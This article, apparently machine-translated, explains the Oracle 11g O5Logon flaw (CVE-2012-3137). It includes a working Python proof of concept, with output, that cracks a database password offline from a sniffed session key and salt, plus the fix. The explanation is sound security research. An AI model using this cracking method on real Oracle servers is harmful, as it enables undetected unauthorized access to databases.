Vulnerability in Oracle 11g Authentication Protocol

Not so long ago it became known about the new vulnerability (which received the CVE-2012-3137 number ) in the O5Logon authentication protocol used in the Oracle databases version 11.1 and 11.2. The vulnerability allows a remote user to get an access password by performing a brutforce attack on an encrypted session ID received from the server. This feature allows you to select a user password locally without sending additional network requests to the database server.

Overview of the O5Logon operation mechanism

The interaction with the server is as follows:

1. Client connects to server and sends username
2. The server generates a session identifier and encrypts it using AES-192. The SHA1 hash of the user's password and the salt added to it is used as the key (salt)
3. The server sends the encrypted session ID and salt to the client.
4. The client generates a key by obtaining a hash of its password and the resulting salt. Using this key, the client decrypts the session data received from the server.
5. Again, the decrypted server session ID, the client generates a new shared key, which is used later

The main interest are stages 1-3, which can be represented in the following form:

From the very beginning of the connection, the server transmits all the information necessary for selecting a password. The key feature of Session Id allows conducting an attack: the last 8 bytes of an open session identifier always consist of eights. This information is sufficient to determine the correctness of the decryption.
')
Another feature of this problem is that by breaking the connection after the 3rd stage, the fact of the connection attempt will not be displayed in the logs, i.e. attack can be made completely unnoticed.

Practical aspect

To test the vulnerability, a freely distributed dump of a virtual machine is installed that is used by Oracle to train developers and contains a pre-installed database version 11.2.0.2

After installation, you can try to connect to the database on a standard port, using, for example, Python and the cx_Oracle library. As a test, the selection was carried out for the built-in user system. You only need to know the username to get all the necessary data for a further attack:

>>> import cx_Oracle >>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl') Traceback (most recent call last): File "<stdin>", line 1, in <module> cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied 

To get the encrypted session identifier and salt in this case, the easiest way was to use Wireshark:


The following values ​​will be useful here:

Session ID (AUTH_SESSKEY) : EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767

Salt (AUTH_VFR_DATA) : A7193E546377EC56639E

Proof of concept

The following code was written to decrypt the session and brute force the password on the lap:

 #-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) #     24  key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain #   48  session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' # 10  salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break 

When you run the program we get:

 Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274 Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808 PASSWORD IS "oracle" [Finished in 0.1s] 

Password successfully selected.

Conclusion

Oracle solved this problem in version 11.2.0.3 by allowing users to use the new authentication mechanism, which requires explicitly to prescribe in the sqlnet.ora files for the client and server parts to include:

SQLNET.ALLOWED_LOGON_VERSION=12

But navryatli can be considered this solution acceptable for most operating systems, because In addition to the server part, it is also necessary to reconfigure clients As usual in such cases, the use of strong passwords and a clear restriction at the level of network access can be considered reasonable recommendations.